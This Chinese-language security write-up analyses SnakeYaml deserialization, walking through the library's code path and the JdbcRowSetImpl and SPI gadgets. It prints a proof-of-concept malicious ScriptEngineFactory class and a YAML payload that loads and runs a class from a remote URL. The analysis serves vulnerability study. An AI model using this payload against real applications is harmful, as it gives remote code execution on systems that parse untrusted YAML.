作者:SearchNull
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

簡介

SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式數據的類庫, 它提供了dump方法可以將一個Java對象轉為Yaml格式字符串, 其load方法也能夠將Yaml字符串轉為Java對象。那么在對象與字符串轉換的實現中其實與FastJson和Jaskson等組件一樣使用了(非原生)序列化/反序列化。

漏洞利用

你可以使用Maven導入SnakeYaml依賴:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

簡單的JNDI注入示例:

image-20210723231101433

漏洞分析

org.yaml.snakeyaml.Yaml#load開始動態調試, 調用重載方法, 實例化StreamReader對象.

image-20210723231353709

前面為一些對象的初始化操作 無需關注, 重點跟進 getSingleData方法即可。

image-20210723231935395

調用 BaseConstructor#constructDocument方法傳入node對象, 其包含了解析的YAML字符串信息

image-20210723234658365

通過Node對象的getTag方法獲取Tag對象再調用getClassName方法獲取YAML字符串中的類名, Constructor#getClassForName方法獲取類的類對象, getClassForName中調用的Class#forName獲取的類對象, 這里就不跟進了。

image-20210723235042762

Constructor$ConstructMapping#construct中會調用父類 BaseConstructor#newInstance方法, 在該方法中通過 JdbcRowSetImpl類的類對象獲取無參構造器并調用newInstance方法返回實例對象。

image-20210724000825722

跟進到 Constructor$ConstructMapping#constructJavaBean2ndStep中, property.set是關鍵:

image-20210724001840514

圖中的getWriteMethod方法會返回屬性對應的setter方法的Method對象(), 通過調用Method對象的invoke方法即實現了調用JavaBean的setter方法。

image-20210724002721771

至于怎么獲取對象屬性對應的Method的可以debug看看這一部分內容, 調用棧我會貼在下方。

image-20210724003331292

<init>:66, MethodProperty (org.yaml.snakeyaml.introspector) getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:309, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) constructJavaBean2ndStep:230, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:9, YamlTest (org.vulhub.yaml)

JdbcRowSetImpl的Gadget會在其 autoCommit屬性的setter方法中觸發, SnakeYaml反序列化還有比較經典的Gadget是使用SPI加載遠程Jar包或class。

SPI

Java SPI機制全稱為Service Provider Interface, 即服務提供發現機制。

當服務的提供者提供了一種接口的實現之后, 需要在classpath下 META-INF/services目錄里創建一個以服務接口命名的文件, 文件內容為接口的具體實現類。當其他客戶端程序需要這個服務的時候, 就可以通過查找 META-INF/services中的配置文件去加載對應的實現類。

談談個人的理解, 我認為這種機制是用于解耦模塊中的硬編碼實現類, 通過配置文件的方式實現的一種動態加載方式。例如在JDBC的使用場景中, 你可以在 META-INF/services新建Driver文件, 在文件內容中指定你要加載的數據庫驅動實現類, 這種方式即能夠實現動態加載也無需在程序代碼中硬編碼實現類。當你需要更換數據庫驅動時只需要更新配置文件內容即可。

SPI與ScriptEngineManager

首先給出Payload和利用方法, 編寫惡意類實現 ScriptEngineFactory接口, 在靜態代碼塊中添加命令執行代碼:

public class Poc implements ScriptEngineFactory {
    public static void main(String[] args) {}

    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {}
    ......

然后將編譯的class放置在Web服務下, 同時在Web服務的根目錄新建 META-INF/services/javax.script.ScriptEngineFactory文件, 內容為 Poc

image-20210724145246139

String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"url\"]]]]";

image-20210724145913750

上述的Payload會從最右邊開始解析, 首先調用 java.net.URLpublic URL(String spec)構造器初始化對象, 然后將該URL對象傳入 java.net.URLClassLoaderpublic URLClassLoader(URL[] urls)構造器中, 因為該構造器形參是URL對象數組所以Payload中用了兩個方括號。最后即是調用 javax.script.ScriptEngineManagerpublic ScriptEngineManager(URLClassloader loader)構造器。

image-20210724151100413

打開URL流獲取加載的類名:

image-20210724163920517

java.util.ServiceLoader#nextService中其通過Class.forName通過URL加載遠程服務器上的類(因為loader是URLClassLoader), 并觸發靜態代碼塊中的命令執行彈出計算器。

不過這里Class.forName的第二個參數為false, 所以靜態代碼塊不會在這里被執行, 而是當調用newInstance方法的時候執行的。

image-20210724164146667

參考

Java SnakeYaml反序列化漏洞

Java常用機制 - SPI機制詳解 | Java 全棧知識體系


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1657/